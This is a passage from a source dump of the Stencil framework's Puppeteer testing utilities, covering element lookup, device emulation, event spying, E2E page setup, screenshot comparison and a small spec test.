{\n    return jsHandle.asElement() as puppeteer.ElementHandle<Element>;\n  }\n\n  return null;\n}\n\nexport async function findAll(\n  page: pd.E2EPageInternal,\n  rootHandle: puppeteer.ElementHandle,\n  selector: pd.FindSelector,\n) {\n  const foundElms: E2EElement[] = [];\n\n  if (typeof selector === 'string' && selector.includes('>>>')) {\n    const handles = await page.$$(selector);\n    for (let i = 0; i < handles.length; i++) {\n      const elm = new E2EElement(page, handles[i]);\n      await elm.e2eSync();\n      foundElms.push(elm);\n    }\n    return foundElms;\n  }\n\n  const { lightSelector } = getSelector(selector);\n  const lightElmHandles = await rootHandle.$$(lightSelector);\n  if (lightElmHandles.length === 0) {\n    return foundElms;\n  }\n\n  for (let i = 0; i < lightElmHandles.length; i++) {\n    const elm = new E2EElement(page, lightElmHandles[i]);\n    await elm.e2eSync();\n    foundElms.push(elm);\n  }\n\n  return foundElms;\n}\n\nfunction getSelector(selector: pd.FindSelector) {\n  const rtn = {\n    lightSelector: null as string,\n    text: null as string,\n    contains: null as string,\n  };\n\n  if (typeof selector === 'string') {\n    rtn.lightSelector = selector.trim();\n  } else if (typeof selector.text === 'string') {\n    rtn.text = selector.text.trim();\n  } else if (typeof selector.contains === 'string') {\n    rtn.contains = selector.contains.trim();\n  } else {\n    throw new Error(`invalid find selector: ${selector}`);\n  }\n\n  return rtn;\n}\n\n/**\n * A helper function for retrieving an execution context from a Puppeteer handle entity. The way that these objects can\n * be retrieved changed in Puppeteer v17, requiring a check of the version of the library that is installed at runtime.\n *\n * This function expects that the {@link E2EProcessEnv#__STENCIL_PUPPETEER_VERSION__} be set prior to invocation. If\n * it is not set, the function assumes an older version of Puppeteer is used.\n *\n * @param elmHandle the Puppeteer handle to an element\n * @returns the execution context from the handle\n */\nfunction getPuppeteerExecution(elmHandle: puppeteer.ElementHandle) {\n  const puppeteerMajorVersion = parseInt(process.env.__STENCIL_PUPPETEER_VERSION__, 10);\n  if (puppeteerMajorVersion >= 17) {\n    // in puppeteer v17, a context for executing JS can be retrieved from a frame\n    // the `any` type assertion is necessary for backwards compatibility with the type checker\n    return (elmHandle as any).frame;\n  } else {\n    // in puppeteer v16 and lower, an execution context could be retrieved from a handle to execute JS\n    // the `any` type assertion is necessary for backwards compatibility with the type checker\n    //\n    // if the result of `parseInt` on the puppeteer version is NaN, assume that the user is on a lower version of\n    // puppeteer\n    return (elmHandle as any).executionContext();\n  }\n}\n\ninterface ElementAction {\n  classAdd?: string;\n  classRemove?: string;\n  classToggle?: string;\n  eventName?: string;\n  eventInitDict?: EventInitDict;\n  methodName?: string;\n  methodArgs?: any[];\n  removeAttribute?: string;\n  setAttributeName?: string;\n  setAttributeValue?: any;\n  setPropertyName?: string;\n  setPropertyValue?: any;\n  toggleAttributeName?: string;\n  toggleAttributeForce?: boolean;\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-emulate.ts",
    "content": "import type { E2EProcessEnv, EmulateConfig } from '@stencil/core/internal';\nimport type * as puppeteer from 'puppeteer';\n\nexport function setScreenshotEmulateData(userEmulateConfig: EmulateConfig, env: E2EProcessEnv) {\n  const screenshotEmulate = {\n    userAgent: 'default',\n    viewport: {\n      width: 800,\n      height: 600,\n      deviceScaleFactor: 1,\n      isMobile: false,\n      hasTouch: false,\n      isLandscape: false,\n    } as puppeteer.Viewport,\n    device: undefined as string | undefined,\n  } satisfies EmulateConfig;\n\n  if (typeof userEmulateConfig.device === 'string') {\n    try {\n      const deviceDescriptors = require(env.__STENCIL_PUPPETEER_MODULE__ + '/DeviceDescriptors');\n\n      const puppeteerEmulateOpts = deviceDescriptors[userEmulateConfig.device] as {\n        userAgent: string;\n        viewport: puppeteer.Viewport;\n      };\n      if (!puppeteerEmulateOpts) {\n        console.error(`invalid emulate device: ${userEmulateConfig.device}`);\n        return;\n      }\n\n      screenshotEmulate.device = userEmulateConfig.device;\n      screenshotEmulate.userAgent = puppeteerEmulateOpts.userAgent;\n      screenshotEmulate.viewport = puppeteerEmulateOpts.viewport;\n    } catch (e) {\n      console.error('error loading puppeteer DeviceDescriptors', e);\n      return;\n    }\n  }\n\n  if (userEmulateConfig.viewport) {\n    if (typeof userEmulateConfig.viewport.width === 'number') {\n      screenshotEmulate.viewport.width = userEmulateConfig.viewport.width;\n    }\n\n    if (typeof userEmulateConfig.viewport.height === 'number') {\n      screenshotEmulate.viewport.height = userEmulateConfig.viewport.height;\n    }\n\n    if (typeof userEmulateConfig.viewport.deviceScaleFactor === 'number') {\n      screenshotEmulate.viewport.deviceScaleFactor = userEmulateConfig.viewport.deviceScaleFactor;\n    }\n\n    if (typeof userEmulateConfig.viewport.hasTouch === 'boolean') {\n      screenshotEmulate.viewport.hasTouch = userEmulateConfig.viewport.hasTouch;\n    }\n\n    if (typeof userEmulateConfig.viewport.isLandscape === 'boolean') {\n      screenshotEmulate.viewport.isLandscape = userEmulateConfig.viewport.isLandscape;\n    }\n\n    if (typeof userEmulateConfig.viewport.isMobile === 'boolean') {\n      screenshotEmulate.viewport.isMobile = userEmulateConfig.viewport.isMobile;\n    }\n\n    if (typeof userEmulateConfig.userAgent === 'string') {\n      screenshotEmulate.userAgent = userEmulateConfig.userAgent;\n    }\n  }\n\n  env.__STENCIL_EMULATE__ = JSON.stringify(screenshotEmulate);\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-events.ts",
    "content": "import type { SerializedEvent } from '@stencil/core/internal';\nimport type * as puppeteer from 'puppeteer';\n\nimport type * as pd from './puppeteer-declarations';\n\nexport async function initPageEvents(page: pd.E2EPageInternal) {\n  page._e2eEvents = new Map();\n  page._e2eEventIds = 0;\n  page.spyOnEvent = pageSpyOnEvent.bind(page, page);\n\n  await page.exposeFunction('stencilOnEvent', (id: number, ev: any) => {\n    // NODE CONTEXT\n    nodeContextEvents(page._e2eEvents, id, ev);\n  });\n\n  await page.evaluateOnNewDocument(browserContextEvents);\n}\n\nasync function pageSpyOnEvent(page: pd.E2EPageInternal, eventName: string, selector: 'window' | 'document') {\n  const eventSpy = new EventSpy(eventName);\n\n  const handler = selector !== 'document' ? () => window : () => document;\n\n  const handle = await page.evaluateHandle(handler);\n\n  await addE2EListener(page, handle, eventName, (ev) => {\n    eventSpy.push(ev);\n  });\n\n  return eventSpy;\n}\n\nexport async function waitForEvent(\n  page: pd.E2EPageInternal,\n  eventName: string,\n  elementHandle: puppeteer.ElementHandle,\n) {\n  /**\n   * When using screenshot functionality in a runner that is not Jasmine (e.g. Jest Circus), we need to set a default\n   * value for timeouts. There are runtime errors that occur if we attempt to use optional chaining + nullish\n   * coalescing with the `jasmine` global stating it's not defined. As a result, we use a ternary here.\n   *\n   * The '2500' value that we default to is the value of `jasmine.DEFAULT_TIMEOUT_INTERVAL` (5000) divided by 2.\n   */\n  const timeoutMs =\n    typeof jasmine !== 'undefined' && jasmine.DEFAULT_TIMEOUT_INTERVAL ? jasmine.DEFAULT_TIMEOUT_INTERVAL * 0.5 : 2500;\n  const ev = await page.evaluate(\n    (element: Element, eventName: string, timeoutMs: number) => {\n      return new Promise<any>((resolve, reject) => {\n        const tmr = setTimeout(() => {\n          reject(new Error(`waitForEvent() timeout, eventName: ${eventName}`));\n        }, timeoutMs);\n\n        element.addEventListener(\n          eventName,\n          (ev) => {\n            clearTimeout(tmr);\n            resolve((window as unknown as pd.BrowserWindow).stencilSerializeEvent(ev as any));\n          },\n          { once: true },\n        );\n      });\n    },\n    elementHandle,\n    eventName,\n    timeoutMs,\n  );\n\n  await page.waitForChanges();\n  return ev;\n}\n\nexport class EventSpy implements EventSpy {\n  events: SerializedEvent[] = [];\n  private cursor = 0;\n  private queuedHandler: (() => void)[] = [];\n  constructor(public eventName: string) {}\n\n  get length() {\n    return this.events.length;\n  }\n\n  get firstEvent() {\n    return this.events[0] || null;\n  }\n\n  get lastEvent() {\n    return this.events[this.events.length - 1] || null;\n  }\n\n  next() {\n    const cursor = this.cursor;\n    this.cursor++;\n    const next = this.events[cursor];\n    if (next) {\n      return Promise.resolve({\n        done: false,\n        value: next,\n      });\n    } else {\n      let resolve: () => void;\n      const promise = new Promise<void>((r) => (resolve = r));\n      this.queuedHandler.push(resolve);\n      return promise.then(() => ({\n        done: false,\n        value: this.events[cursor],\n      }));\n    }\n  }\n\n  push(ev: SerializedEvent) {\n    this.events.push(ev);\n    const next = this.queuedHandler.shift();\n    if (next) {\n      next();\n    }\n  }\n}\n\nexport async function addE2EListener(\n  page: pd.E2EPageInternal,\n  elmHandle: puppeteer.JSHandle,\n  eventName: string,\n  callback: (ev: any) => void,\n) {\n  // NODE CONTEXT\n  const id = page._e2eEventIds++;\n  page._e2eEvents.set(id, {\n    eventName,\n    callback,\n  });\n\n  // add element event listener\n  await elmHandle.evaluate(\n    (elm: any, id: number, eventName: string) => {\n      elm.addEventListener(eventName, (ev: any) => {\n        (window as unknown as pd.BrowserWindow).stencilOnEvent(\n          id,\n          (window as unknown as pd.BrowserWindow).stencilSerializeEvent(ev),\n        );\n      });\n    },\n    id,\n    eventName,\n  );\n}\n\nfunction nodeContextEvents(waitForEvents: Map<number, pd.WaitForEvent>, eventId: number, ev: any) {\n  // NODE CONTEXT\n  const waitForEventData = waitForEvents.get(eventId);\n  if (waitForEventData) {\n    waitForEventData.callback(ev);\n  }\n}\n\nfunction browserContextEvents() {\n  // BROWSER CONTEXT\n  const waitFrame = () => {\n    return new Promise((resolve) => {\n      requestAnimationFrame(resolve);\n    });\n  };\n\n  const allReady = () => {\n    const promises: Promise<any>[] = [];\n    const waitForDidLoad = (promises: Promise<any>[], elm: Element) => {\n      if (elm != null && elm.nodeType === 1) {\n        for (let i = 0; i < elm.children.length; i++) {\n          const childElm = elm.children[i];\n          if (childElm.tagName.includes('-') && typeof (childElm as any).componentOnReady === 'function') {\n            promises.push((childElm as any).componentOnReady());\n          }\n          waitForDidLoad(promises, childElm);\n        }\n      }\n    };\n\n    waitForDidLoad(promises, window.document.documentElement);\n\n    return Promise.all(promises).catch((e) => console.error(e));\n  };\n\n  const stencilReady = () => {\n    return allReady()\n      .then(() => waitFrame())\n      .then(() => allReady())\n      .then(() => {\n        (window as unknown as pd.BrowserWindow).stencilAppLoaded = true;\n      });\n  };\n\n  (window as unknown as pd.BrowserWindow).stencilSerializeEventTarget = (target: any) => {\n    // BROWSER CONTEXT\n    if (!target) {\n      return null;\n    }\n    if (target === window) {\n      return { serializedWindow: true };\n    }\n    if (target === document) {\n      return { serializedDocument: true };\n    }\n    if (target.nodeType != null) {\n      const serializedElement: any = {\n        serializedElement: true,\n        nodeName: target.nodeName,\n        nodeValue: target.nodeValue,\n        nodeType: target.nodeType,\n        tagName: target.tagName,\n        className: target.className,\n        id: target.id,\n      };\n      return serializedElement;\n    }\n    return null;\n  };\n\n  (window as unknown as pd.BrowserWindow).stencilSerializeEvent = (orgEv: any) => {\n    // BROWSER CONTEXT\n    const serializedEvent: SerializedEvent = {\n      bubbles: orgEv.bubbles,\n      cancelBubble: orgEv.cancelBubble,\n      cancelable: orgEv.cancelable,\n      composed: orgEv.composed,\n      currentTarget: (window as unknown as pd.BrowserWindow).stencilSerializeEventTarget(orgEv.currentTarget),\n      defaultPrevented: orgEv.defaultPrevented,\n      detail: orgEv.detail,\n      eventPhase: orgEv.eventPhase,\n      isTrusted: orgEv.isTrusted,\n      returnValue: orgEv.returnValue,\n      srcElement: (window as unknown as pd.BrowserWindow).stencilSerializeEventTarget(orgEv.srcElement),\n      target: (window as unknown as pd.BrowserWindow).stencilSerializeEventTarget(orgEv.target),\n      timeStamp: orgEv.timeStamp,\n      type: orgEv.type,\n      isSerializedEvent: true,\n    };\n    return serializedEvent;\n  };\n\n  if (window.document.readyState === 'complete') {\n    stencilReady();\n  } else {\n    document.addEventListener('readystatechange', function (e) {\n      if ((e.target as Document).readyState == 'complete') {\n        stencilReady();\n      }\n    });\n  }\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-page.ts",
    "content": "import type { E2EProcessEnv, HostElement, JestEnvironmentGlobal } from '@stencil/core/internal';\nimport type { ConsoleMessage, ConsoleMessageLocation, ElementHandle, JSHandle, WaitForOptions } from 'puppeteer';\n\nimport type {\n  E2EPage,\n  E2EPageInternal,\n  FindSelector,\n  NewE2EPageOptions,\n  PageCloseOptions,\n  PageDiagnostic,\n} from './puppeteer-declarations';\nimport { find, findAll } from './puppeteer-element';\nimport { initPageEvents, waitForEvent } from './puppeteer-events';\nimport { initPageScreenshot } from './puppeteer-screenshot';\n\ndeclare const global: JestEnvironmentGlobal;\n\nconst DEFAULT_LOAD_TIMEOUT = 30 * 1000; // 30s\n\n// during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\nconst env: E2EProcessEnv = process.env as E2EProcessEnv;\nexport async function newE2EPage(opts: NewE2EPageOptions = {}): Promise<E2EPage> {\n  if (!global.__NEW_TEST_PAGE__) {\n    throw new Error(`newE2EPage() is only available from E2E tests, and ran with the --e2e cmd line flag.`);\n  }\n\n  const page: E2EPageInternal = await global.__NEW_TEST_PAGE__();\n  const diagnostics: PageDiagnostic[] = [];\n  try {\n    page._e2eElements = [];\n\n    page._e2eGoto = page.goto;\n    page._e2eClose = page.close;\n\n    await page.setCacheEnabled(false);\n    await initPageEvents(page);\n\n    initPageScreenshot(page);\n\n    let docPromise: Promise<JSHandle> = null;\n\n    page.close = async (options?: PageCloseOptions) => {\n      try {\n        if (Array.isArray(page._e2eElements)) {\n          const disposes = page._e2eElements.map(async (elmHande) => {\n            if (typeof elmHande.e2eDispose === 'function') {\n              await elmHande.e2eDispose();\n            }\n          });\n          await Promise.all(disposes);\n        }\n      } catch (e) {}\n\n      const noop: any = () => {\n        throw new Error('The page was already closed');\n      };\n      page._e2eElements = noop;\n      page._e2eEvents = noop;\n      page._e2eGoto = noop;\n      page.find = noop;\n      page.debugger = noop;\n      page.findAll = noop;\n      page.compareScreenshot = noop;\n      page.setContent = noop;\n      page.spyOnEvent = noop;\n      page.waitForChanges = noop;\n      page.waitForEvent = noop;\n\n      try {\n        if (!page.isClosed()) {\n          await page._e2eClose(options);\n        }\n      } catch (e) {}\n    };\n\n    const getDocHandle = async () => {\n      if (!docPromise) {\n        docPromise = page.evaluateHandle(() => document);\n      }\n      const documentJsHandle = await docPromise;\n      return documentJsHandle.asElement() as ElementHandle;\n    };\n\n    page.find = async (selector: FindSelector) => {\n      const docHandle = await getDocHandle();\n      return find(page, docHandle, selector) as any;\n    };\n\n    page.findAll = async (selector: FindSelector) => {\n      const docHandle = await getDocHandle();\n      return findAll(page, docHandle, selector) as any;\n    };\n\n    page.waitForEvent = async (eventName) => {\n      const docHandle = await getDocHandle();\n      return waitForEvent(page, eventName, docHandle);\n    };\n\n    page.getDiagnostics = () => {\n      return diagnostics;\n    };\n\n    page.waitForChanges = waitForChanges.bind(null, page);\n\n    page.debugger = () => {\n      if (env.__STENCIL_E2E_DEVTOOLS__ !== 'true') {\n        throw new Error('Set the --devtools flag in order to use E2EPage.debugger()');\n      }\n      return page.evaluate(() => {\n        return new Promise<void>((resolve) => {\n          // tslint:disable-next-line: no-debugger\n          debugger;\n          resolve();\n        });\n      }) as any;\n    };\n\n    const failOnConsoleError = opts.failOnConsoleError === true;\n    const failOnNetworkError = opts.failOnNetworkError === true;\n    const logFailingNetworkRequests =\n      typeof opts.logFailingNetworkRequests === 'boolean' ? opts.logFailingNetworkRequests : true;\n\n    page.on('console', (ev) => {\n      if (ev.type() === 'error') {\n        diagnostics.push({\n          type: 'error',\n          message: ev.text(),\n          location: ev.location().url,\n        });\n        if (failOnConsoleError) {\n          throw new Error(serializeConsoleMessage(ev));\n        }\n      }\n      consoleMessage(ev);\n    });\n    page.on('pageerror', (err: Error) => {\n      diagnostics.push({\n        type: 'pageerror',\n        message: err.message,\n        location: err.stack,\n      });\n      throw err;\n    });\n    page.on('requestfailed', (req) => {\n      diagnostics.push({\n        type: 'requestfailed',\n        message: req.failure().errorText,\n        location: req.url(),\n      });\n      if (failOnNetworkError) {\n        throw new Error(req.failure().errorText);\n      } else if (logFailingNetworkRequests) {\n        console.error('requestfailed', req.url());\n      }\n    });\n\n    if (typeof opts.html === 'string') {\n      await e2eSetContent(page, opts.html, { waitUntil: opts.waitUntil });\n    } else if (typeof opts.url === 'string') {\n      await e2eGoTo(page, opts.url, { waitUntil: opts.waitUntil });\n    } else {\n      page.goto = e2eGoTo.bind(null, page);\n      page.setContent = e2eSetContent.bind(null, page);\n    }\n  } catch (e) {\n    if (page) {\n      if (!page.isClosed()) {\n        await page.close();\n      }\n    }\n    throw e;\n  }\n  return page;\n}\n\nasync function e2eGoTo(page: E2EPageInternal, url: string, options: WaitForOptions = {}) {\n  if (page.isClosed()) {\n    throw new Error('e2eGoTo unavailable: page already closed');\n  }\n\n  if (typeof url !== 'string') {\n    throw new Error('invalid gotoTest() url');\n  }\n\n  if (!url.startsWith('/')) {\n    throw new Error('gotoTest() url must start with /');\n  }\n\n  const browserUrl = env.__STENCIL_BROWSER_URL__;\n  if (typeof browserUrl !== 'string') {\n    throw new Error('invalid gotoTest() browser url');\n  }\n\n  const fullUrl = browserUrl + url.substring(1);\n\n  if (!options.waitUntil) {\n    options.waitUntil = env.__STENCIL_BROWSER_WAIT_UNTIL as any;\n  }\n  const rsp = await page._e2eGoto(fullUrl, options);\n\n  if (!rsp.ok()) {\n    throw new Error(`Testing unable to load ${url}, HTTP status: ${rsp.status()}`);\n  }\n\n  await waitForStencil(page, options);\n\n  return rsp;\n}\n\nasync function e2eSetContent(page: E2EPageInternal, html: string, options: WaitForOptions = {}) {\n  if (page.isClosed()) {\n    throw new Error('e2eSetContent unavailable: page already closed');\n  }\n  if (typeof html !== 'string') {\n    throw new Error('invalid e2eSetContent() html');\n  }\n\n  const output: string[] = [];\n\n  const appScriptUrl = env.__STENCIL_APP_SCRIPT_URL__;\n  if (typeof appScriptUrl !== 'string') {\n    throw new Error('invalid e2eSetContent() app script url');\n  }\n\n  output.push(`<!doctype html>`);\n  output.push(`<html>`);\n  output.push(`<head>`);\n\n  const appStyleUrl = env.__STENCIL_APP_STYLE_URL__;\n  if (typeof appStyleUrl === 'string') {\n    output.push(`<link rel=\"stylesheet\" href=\"${appStyleUrl}\">`);\n  }\n  output.push(`<script type=\"module\" src=\"${appScriptUrl}\"></script>`);\n\n  output.push(`</head>`);\n  output.push(`<body>`);\n  output.push(html);\n  output.push(`</body>`);\n  output.push(`</html>`);\n\n  const pageUrl = env.__STENCIL_BROWSER_URL__;\n\n  await page.setRequestInterception(true);\n\n  const interceptedReqCallback = (interceptedRequest: any) => {\n    if (pageUrl === interceptedRequest.url()) {\n      interceptedRequest.respond({\n        status: 200,\n        contentType: 'text/html',\n        body: output.join('\\n'),\n      });\n    } else {\n      interceptedRequest.continue();\n    }\n  };\n\n  page.on('request', interceptedReqCallback);\n\n  if (!options.waitUntil) {\n    options.waitUntil = env.__STENCIL_BROWSER_WAIT_UNTIL as any;\n  }\n  const rsp = await page._e2eGoto(pageUrl, options);\n\n  if (!rsp.ok()) {\n    throw new Error(`Testing unable to load content`);\n  }\n\n  await waitForStencil(page, options);\n}\n\nasync function waitForStencil(page: E2EPage, options: WaitForOptions) {\n  const timeout = typeof options.timeout === 'number' ? options.timeout : DEFAULT_LOAD_TIMEOUT;\n  try {\n    await page.waitForFunction('window.stencilAppLoaded', { timeout });\n  } catch (e) {\n    throw new Error(`App did not load within ${timeout}ms. Please ensure the content loads a stencil application.`);\n  }\n}\n\nasync function waitForChanges(page: E2EPageInternal) {\n  try {\n    if (page.isClosed()) {\n      return;\n    }\n    await Promise.all(page._e2eElements.map((elm) => elm.e2eRunActions()));\n\n    if (page.isClosed()) {\n      return;\n    }\n\n    await page.evaluate(() => {\n      // BROWSER CONTEXT\n      return new Promise<void>((resolve) => {\n        requestAnimationFrame(() => {\n          const promises: Promise<any>[] = [];\n\n          const waitComponentOnReady = (elm: Element | ShadowRoot, promises: Promise<any>[]) => {\n            if (elm != null) {\n              if ('shadowRoot' in elm && elm.shadowRoot instanceof ShadowRoot) {\n                waitComponentOnReady(elm.shadowRoot, promises);\n              }\n              const children = elm.children;\n              const len = children.length;\n              for (let i = 0; i < len; i++) {\n                const childElm = children[i];\n                if (childElm != null) {\n                  if (\n                    childElm.tagName.includes('-') &&\n                    typeof (childElm as HostElement).componentOnReady === 'function'\n                  ) {\n                    promises.push((childElm as HostElement).componentOnReady());\n                  }\n                  waitComponentOnReady(childElm, promises);\n                }\n              }\n            }\n          };\n\n          waitComponentOnReady(document.documentElement, promises);\n\n          Promise.all(promises)\n            .then(() => {\n              resolve();\n            })\n            .catch(() => {\n              resolve();\n            });\n        });\n      });\n    });\n\n    if (page.isClosed()) {\n      return;\n    }\n\n    await new Promise((r) => setTimeout(r, 100));\n    await Promise.all(page._e2eElements.map((elm) => elm.e2eSync()));\n  } catch (e) {}\n}\n\nfunction consoleMessage(c: ConsoleMessage) {\n  const msg = serializeConsoleMessage(c);\n  const type = c.type();\n  if (type === 'debug') {\n    // Skip debug messages\n    return;\n  }\n  if (typeof (console as any)[type] === 'function') {\n    (console as any)[type](msg);\n  } else {\n    console.log(type, msg);\n  }\n}\n\nfunction serializeConsoleMessage(c: ConsoleMessage) {\n  return `${c.text()} ${serializeLocation(c.location())}`;\n}\n\nfunction serializeLocation(loc: ConsoleMessageLocation) {\n  let locStr = '';\n  if (loc && loc.url) {\n    locStr = `\\nLocation: ${loc.url}`;\n    if (loc.lineNumber) {\n      locStr += `:${loc.lineNumber}`;\n    }\n    if (loc.columnNumber) {\n      locStr += `:${loc.columnNumber}`;\n    }\n  }\n  return locStr;\n}\n"
  },
  {
    "path": "src/testing/puppeteer/puppeteer-screenshot.ts",
    "content": "import type {\n  E2EProcessEnv,\n  EmulateConfig,\n  JestEnvironmentGlobal,\n  ScreenshotBuildData,\n  ScreenshotDiff,\n  ScreenshotOptions,\n} from '@stencil/core/internal';\nimport type * as puppeteer from 'puppeteer';\n\nimport { compareScreenshot } from '../../screenshot/screenshot-compare';\nimport type * as pd from './puppeteer-declarations';\n\nexport function initPageScreenshot(page: pd.E2EPageInternal) {\n  const env = process.env as E2EProcessEnv;\n\n  if (env.__STENCIL_SCREENSHOT__ === 'true') {\n    page.compareScreenshot = (a?: any, b?: any) => {\n      const jestEnv: JestEnvironmentGlobal = global as any;\n\n      let desc = '';\n      let testPath = '';\n\n      if (jestEnv.currentSpec) {\n        if (typeof jestEnv.currentSpec.fullName === 'string') {\n          desc = jestEnv.currentSpec.fullName;\n        }\n        if (typeof jestEnv.currentSpec.testPath === 'string') {\n          testPath = jestEnv.currentSpec.testPath;\n        }\n      }\n      let opts: ScreenshotOptions;\n\n      if (typeof a === 'string') {\n        if (desc.length > 0) {\n          desc += ', ' + a;\n        } else {\n          desc = a;\n        }\n\n        if (typeof b === 'object') {\n          opts = b;\n        }\n      } else if (typeof a === 'object') {\n        opts = a;\n      }\n\n      desc = desc.trim();\n      opts = opts || {};\n\n      if (!desc) {\n        throw new Error(`Invalid screenshot description in \"${testPath}\"`);\n      }\n\n      if (jestEnv.screenshotDescriptions.has(desc)) {\n        throw new Error(\n          `Screenshot description \"${desc}\" found in \"${testPath}\" cannot be used for multiple screenshots and must be unique. To make screenshot descriptions unique within the same test, use the first argument to \"compareScreenshot\", such as \"compareScreenshot('more to the description')\".`,\n        );\n      }\n      jestEnv.screenshotDescriptions.add(desc);\n\n      return pageCompareScreenshot(page, env, desc, testPath, opts);\n    };\n  } else {\n    // screen shot not enabled, so just skip over all the logic\n    page.compareScreenshot = async () => {\n      const diff: ScreenshotDiff = {\n        id: 'placeholder',\n        mismatchedPixels: 0,\n        allowableMismatchedPixels: 1,\n        allowableMismatchedRatio: 1,\n        desc: '',\n        width: 1,\n        height: 1,\n        deviceScaleFactor: 1,\n      };\n      return diff;\n    };\n  }\n}\n\nexport async function pageCompareScreenshot(\n  page: pd.E2EPageInternal,\n  env: E2EProcessEnv,\n  desc: string,\n  testPath: string,\n  opts: ScreenshotOptions,\n) {\n  if (typeof env.__STENCIL_EMULATE__ !== 'string') {\n    throw new Error(`compareScreenshot, missing screenshot emulate env var`);\n  }\n\n  if (typeof env.__STENCIL_SCREENSHOT_BUILD__ !== 'string') {\n    throw new Error(`compareScreenshot, missing screen build env var`);\n  }\n\n  const screenshotTimeoutMs: number | null =\n    typeof env.__STENCIL_SCREENSHOT_TIMEOUT_MS__ === 'string'\n      ? parseInt(env.__STENCIL_SCREENSHOT_TIMEOUT_MS__, 10)\n      : null;\n\n  const emulateConfig = JSON.parse(env.__STENCIL_EMULATE__) as EmulateConfig;\n  const screenshotBuildData = JSON.parse(env.__STENCIL_SCREENSHOT_BUILD__) as ScreenshotBuildData;\n\n  await wait(screenshotBuildData.timeoutBeforeScreenshot);\n  await page.evaluate(() => {\n    return new Promise<void>((resolve) => {\n      window.requestAnimationFrame(() => {\n        resolve();\n      });\n    });\n  });\n\n  let width = emulateConfig.viewport.width;\n  let height = emulateConfig.viewport.height;\n\n  if (opts && opts.clip) {\n    if (typeof opts.clip.width === 'number') {\n      width = opts.clip.width;\n    }\n    if (typeof opts.clip.height === 'number') {\n      height = opts.clip.height;\n    }\n  }\n\n  // The width and height passed into this function will be the dimensions of the generated image\n  // This is _not_ guaranteed to be the viewport dimensions specified in the emulate config. If clip\n  // options were provided this comparison function, the width and height will be set to those clip dimensions.\n  // Otherwise, it will default to the emulate config viewport dimensions.\n  const screenshotOpts = createPuppeteerScreenshotOptions(opts, { width, height });\n  const screenshotBuf = await page.screenshot(screenshotOpts);\n  const pixelmatchThreshold =\n    typeof opts.pixelmatchThreshold === 'number' ? opts.pixelmatchThreshold : screenshotBuildData.pixelmatchThreshold;\n\n  const results = await compareScreenshot(\n    emulateConfig,\n    screenshotBuildData,\n    screenshotBuf,\n    screenshotTimeoutMs,\n    desc,\n    width,\n    height,\n    testPath,\n    pixelmatchThreshold,\n  );\n\n  return results;\n}\n\nexport function createPuppeteerScreenshotOptions(\n  opts: ScreenshotOptions,\n  { width, height }: { width: number; height: number },\n) {\n  const puppeteerOpts: puppeteer.ScreenshotOptions = {\n    type: 'png',\n    fullPage: opts.fullPage,\n    omitBackground: opts.omitBackground,\n    encoding: 'binary',\n  };\n\n  if (opts.clip) {\n    puppeteerOpts.captureBeyondViewport =\n      typeof opts.captureBeyondViewport === 'boolean' ? opts.captureBeyondViewport : true;\n    puppeteerOpts.clip = {\n      x: opts.clip.x,\n      y: opts.clip.y,\n      width: opts.clip.width,\n      height: opts.clip.height,\n    };\n  } else {\n    puppeteerOpts.captureBeyondViewport =\n      typeof opts.captureBeyondViewport === 'boolean' ? opts.captureBeyondViewport : false;\n    puppeteerOpts.clip = {\n      x: 0,\n      y: 0,\n      width,\n      height,\n    };\n  }\n\n  return puppeteerOpts;\n}\n\nfunction wait(ms: number) {\n  return new Promise<void>((resolve) => setTimeout(resolve, ms));\n}\n"
  },
  {
    "path": "src/testing/puppeteer/test/puppeteer-screenshot.spec.ts",
    "content": "import { createPuppeteerScreenshotOptions } from '../puppeteer-screenshot';\n\ndescribe('Puppeteer Screenshot', () => {\n  describe('createPuppeteerScreenshotOptions', () => {\n    it('should use the viewport width and height by default', () => {\n      const options = createPuppeteerScreenshotOptions({}, { width: 800, height: 600 });\n\n      expect(options.clip).toEqual({\n        x: 0,\n        y: 0,\n        width: 800,\n        height: 600,\n      });\n      expect(options.captureBeyondViewport).toBe(false);\n    });\n\n    it('should use clip options if provided', () => {\n      const options = createPuppeteerScreenshotOptions(\n        {\n          clip: {\n            x: 10,\n            y: 20,\n            width: 100,\n            height: 200,\n          },\n        },\n        { width: 800, height: 600 },\n      );\n\n      expect(options.clip).toEqual({\n        x: 10,\n        y: 20,\n        width: 100,\n        height: 200,\n      });\n      expect(options.captureBeyondViewport).toBe(true);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/reset-build-conditionals.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\n/**\n * Reset build conditionals used for testing to a known \"good state\".\n *\n * This function does not return a value, but rather mutates its argument in place.\n * Certain values are set to `true` or `false` for testing purpose (see this function's implementation for the full\n * list). Build conditional options _not_ in that list that are set to `true` when this function is invoked will remain\n * set to `true`.\n *\n * @param b the build conditionals to reset.\n */\nexport function resetBuildConditionals(b: d.BuildConditionals) {\n  Object.keys(b).forEach((key) => {\n    (b as any)[key] = true;\n  });\n\n  b.isDev = true;\n  b.isTesting = true;\n  b.isDebug = false;\n  b.lazyLoad = true;\n  b.member = true;\n  b.reflect = true;\n  b.scoped = true;\n  b.shadowDom = true;\n  b.slotRelocation = true;\n  b.asyncLoading = true;\n  b.svg = true;\n  b.updatable = true;\n  b.vdomAttribute = true;\n  b.vdomClass = true;\n  b.vdomFunctional = true;\n  b.vdomKey = true;\n  b.vdomPropOrAttr = true;\n  b.vdomRef = true;\n  b.vdomListener = true;\n  b.vdomStyle = true;\n  b.vdomText = true;\n  b.vdomXlink = true;\n  b.allRenderFn = false;\n  b.devTools = false;\n  b.hydrateClientSide = false;\n  b.hydrateServerSide = false;\n  b.cssAnnotations = false;\n  b.style = false;\n  b.hydratedAttribute = false;\n  b.hydratedClass = true;\n  b.invisiblePrehydration = true;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.appendChildSlotFix = false;\n  b.cloneNodeFix = false;\n  b.hotModuleReplacement = false;\n  // TODO(STENCIL-1305): remove this option\n  b.scriptDataOpts = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.scopedSlotTextContentFix = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  b.slotChildNodesFix = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  